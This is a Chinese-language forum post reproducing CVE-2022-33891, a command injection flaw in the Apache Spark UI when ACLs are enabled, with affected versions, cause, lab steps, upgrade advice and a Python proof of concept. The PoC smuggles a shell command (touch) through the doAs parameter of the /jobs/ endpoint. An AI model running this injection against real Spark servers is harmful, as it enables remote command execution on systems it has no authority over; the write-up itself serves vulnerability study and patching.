CVE-2022-33891 Apache Spark 命令注入复现

打印 上一主题 下一主题

主题 924|帖子 924|积分 2772

一、漏洞概述
      Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎。Spark是UC Berkeley AMP lab (加州大学伯克利分校的AMP实验室)所开源的类Hadoop MapReduce的通用并行框架,Spark,拥有Hadoop MapReduce所具有的优点;但不同于MapReduce的是——Job中间输出结果可以保存在内存中,从而不再需要读写HDFS,因此Spark能更好地适用于数据挖掘与机器学习等需要迭代的MapReduce的算法。
 
二、影响版本

  • ≤3.0.3
  • 3.1.1 - 3.1.2
  • 3.2.0 - 3.2.1
 
三、漏洞原理
  Apache Spark UI 可以设置选项 spark.acls.enable 启用 ACL ,使用身份验证过滤器。用以检查用户是否具有查看或修改应用程序的访问权限。如果启用了 ACL则 HttpSecurityFilter 中的代码路径可以允许用户通过提供任意用户名来执行命令。该功能最终将根据用户输入构建一个 Unix shell 命令并执行它,最终导致任意命令执行。——https://blog.csdn.net/qq_42660246/article/details/125902229
 
四、漏洞复现环境
OS:Kali Linux 
Apache Spark versions:3.0.3(https://archive.apache.org/dist/spark/spark-3.0.3/spark-3.0.3-bin-hadoop3.2.tgz
 
五、实验步骤
1.下载Apache Spark 3.0.3,并解压

 2.启动 Apache spark 项目,访问页面(这里要启用spark.acls.enable)
  1. ./bin/spark-shell --conf spark.acls.enable=true
复制代码


3.抓包,构造恶意请求,执行命令注入

4.回到“/”目录下,可以看到生成了新文件

 
六、修复方式
官方已发布新版本修复了该漏洞,请受影响的用户升级前请将资料备份,并进行充分测试到安全版本:https://github.com/apache/spark/tags
 
七、Poc
  1. import requests
  2. import argparse
  3. import os
  4. def exploit(url):
  5.     url = "http://"+url+"/jobs/?doAs=`touch%20/wavesky.txt`"
  6.     response = requests.get(url=url)
  7.     if(response.status_code == 403):
  8.         if(os.access("/wavesky.txt",os.F_OK)):
  9.             print("It looks likely vulnerable")
  10.             os.system('ls /')
  11.             # If you don't want to save this file,please delete '#' in nextline
  12.             # os.system('rm -rf /wavesky.txt')
  13.             
  14.         else:
  15.             print("It is strong")
  16.     else:
  17.         print("It is strong")
  18. if __name__ == '__main__':
  19.     parameter = argparse.ArgumentParser(description='Poc CVE-2022-33891:')
  20.     parameter.add_argument('-file',help='url file',required=False)
  21.     parameter.add_argument('-url',help='ip:port',required=False)
  22.     para = parameter.parse_args()
  23.     if para.url:
  24.         exploit(para.url)
  25.         exit()
  26.     else:
  27.         parameter.print_help()
复制代码
 Github——https://github.com/wave-to/Poc/blob/main/Injection/Poc_CVE-2022-33891.py

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

用户云卷云舒

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表